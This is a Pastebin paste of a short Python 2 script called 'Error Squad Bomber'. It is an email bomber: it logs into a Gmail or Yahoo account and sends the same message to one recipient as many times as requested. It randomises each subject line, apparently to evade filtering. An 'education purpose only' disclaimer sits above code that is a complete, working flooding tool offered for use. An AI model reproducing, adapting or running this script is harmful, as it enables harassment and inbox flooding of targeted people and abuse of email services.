Advertisement
Guest User

Error Squad Bomber by 3rr0r404 mp7

a guest
Jan 16th, 2018
627
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.29 KB | None | 0 0
  1. #!/usr/bin/python
  2. #ErrorSquad-bomber
  3. #This code for education purpose only.
  4. #Use it at your own risk !!!
  5.  
  6.  
  7.  
  8. import os
  9. import smtplib
  10. import getpass
  11. import sys
  12.  
  13.  
  14. server = raw_input ('MailServer Gmail/Yahoo: ')
  15. user = raw_input('Email: ')
  16. passwd = getpass.getpass('Password: ')
  17.  
  18.  
  19. to = raw_input('\nTo: ')
  20. #subject = raw_input('Subject: ')
  21. body = raw_input('Message: ')
  22. total = input('Number of send: ')
  23.  
  24. if server == 'gmail':
  25.     smtp_server = 'smtp.gmail.com'
  26.     port = 587
  27. elif server == 'yahoo':
  28.     smtp_server = 'smtp.mail.yahoo.com'
  29.     port = 25
  30. else:
  31.     print 'Applies only to gmail and yahoo.'
  32.     sys.exit()
  33.  
  34. print ''
  35.  
  36. try:
  37.     server = smtplib.SMTP(smtp_server,port)
  38.     server.ehlo()
  39.     if smtp_server == "smtp.gmail.com":
  40.             server.starttls()
  41.     server.login(user,passwd)
  42.     for i in range(1, total+1):
  43.         subject = os.urandom(9)
  44.         msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
  45.         server.sendmail(user,to,msg)
  46.         print "\rE-mails sent: %i" % i
  47.         sys.stdout.flush()
  48.     server.quit()
  49.     print '\n Done !!!'
  50. except KeyboardInterrupt:
  51.     print '[-] Canceled'
  52.     sys.exit()
  53. except smtplib.SMTPAuthenticationError:
  54.     print '\n[!] The username or password you entered is incorrect.'
  55.     sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement